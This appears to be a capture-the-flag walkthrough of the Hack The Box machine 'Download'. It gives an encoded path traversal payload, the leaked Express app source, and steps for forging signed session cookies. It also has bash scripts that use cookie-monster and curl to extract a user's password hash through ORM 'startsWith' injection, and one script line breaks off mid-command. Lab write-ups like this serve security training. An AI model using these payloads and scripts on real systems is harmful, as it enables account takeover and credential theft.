โฌ‡๏ธDownload - HTB

https://app.hackthebox.com/machines/Download

Path Traversal

by just using encoded ../ to url ,you will be able to bypass the filter and get Path Traversal ,but its restrectid to only webapp root directory which is 'app' in this case as is the running on express node.js web application.

%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f
../../../app .. this respond means path exist
../../../../mount ,this respond tell you mount dir doesnt exist
download app.js
"use strict";
var __importDefault = (this && this.__importDefault) || function (mod) {
    return (mod && mod.__esModule) ? mod : { "default": mod };
};
Object.defineProperty(exports, "__esModule", { value: true });
const express_1 = __importDefault(require("express"));
const nunjucks_1 = __importDefault(require("nunjucks"));
const path_1 = __importDefault(require("path"));
const cookie_parser_1 = __importDefault(require("cookie-parser"));
const cookie_session_1 = __importDefault(require("cookie-session"));
const flash_1 = __importDefault(require("./middleware/flash"));
const auth_1 = __importDefault(require("./routers/auth"));
const files_1 = __importDefault(require("./routers/files"));
const home_1 = __importDefault(require("./routers/home"));
const client_1 = require("@prisma/client");
const app = (0, express_1.default)();
const port = 3000;
const client = new client_1.PrismaClient();
const env = nunjucks_1.default.configure(path_1.default.join(__dirname, "views"), {
    autoescape: true,
    express: app,
    noCache: true,
});
app.use((0, cookie_session_1.default)({
    name: "download_session",
    keys: ["<READECTED>"],
    maxAge: 7 * 24 * 60 * 60 * 1000,
}));
app.use(flash_1.default);
app.use(express_1.default.urlencoded({ extended: false }));
app.use((0, cookie_parser_1.default)());
app.use("/static", express_1.default.static(path_1.default.join(__dirname, "static")));
app.get("/", (req, res) => {
    res.render("index.njk");
});
app.use("/files", files_1.default);
app.use("/auth", auth_1.default);
app.use("/home", home_1.default);
app.use("*", (req, res) => {
    res.render("error.njk", { statusCode: 404 });
});
app.listen(port, process.env.NODE_ENV === "production" ? "127.0.0.1" : "0.0.0.0", () => {
    console.log("Listening on ", port);
    if (process.env.NODE_ENV === "production") {
        setTimeout(async () => {
            await client.$executeRawUnsafe(`COPY (SELECT "User".username, sum("File".size) FROM "User" INNER JOIN "File" ON "File"."authorId" = "User"."id" GROUP BY "User".username) TO '/var/backups/fileusages.csv' WITH (FORMAT csv);`);
        }, 300000);
    }
});

get the secret key ,and start forging your tokens

as we can see we have two cookies ,token and its signature

we use the same token header to forge our own modified token

forged my token for user id=1

We can see that it was uploaded by Wesley, who has the user ID 1. Now we have two options: we can attempt to brute-force Wesley's SSH password using Hydra, or we can extract the MD5 hash of the user password through a NoSQL attack by targeting the password field.

#AFK-PATH

using rockyou wordlist but thats gonna take somuch time

#Hardcore PATH

we can modify our token using contains to confirm if the md5 hash password contain "f" char

if you are able to see the user uploaded file ,that's mean its positive and the hash contains f char within it.

Now we try the "x" char which is not exist in the hash and lets check the respond

Now we are able to use 'startsWith' statment to dumb the full hash from beginning to end ,MD5 hash contains 32 char ,so we need to bruteforce 32 char ,this is too much work and scripting this is a must ,so i made a simple bash script inspired from this glue wrapper code

#!/bin/sh
prevchar=''

while true; do 

for char in {{a..z},{0..9}}; do
./test.sh ${prevchar}${char}
 if [ $? -eq 0 ]; then
             /bin/echo -n $char
             prevchar=$prevchar$char
             break
       fi

done
done

i have spent much time writing and testing the code ,and improving it and finally got this

#!/bin/bash

fuzz_chars=({a..z} {0..9})
prefix=""
found=false

while [ ${#prefix} -lt 32 ]; do
    for char in "${fuzz_chars[@]}"; do
        # Generate the cookie value
        cookie=$(cookie-monster -b --input-file <(echo "{\"user\":{\"id\":1,\"password\": {\"startsWith\": \"$pr>

        # Send an HTTP request and check if "wesley" exists in the response
        curl -s -H "Cookie: $cookie" download.htb/home | grep -q -i wesley

        # Check the exit status of the previous command
        if [ $? -eq 0 ]; then
            echo "Success: Start extracting the hash Value= '$prefix$char'."
            prefix="$prefix$char"
            found=true
            break
        fi
    done
    
    if [ "$found" = false ]; then
        break
    fi
    
    found=false
done

Last updated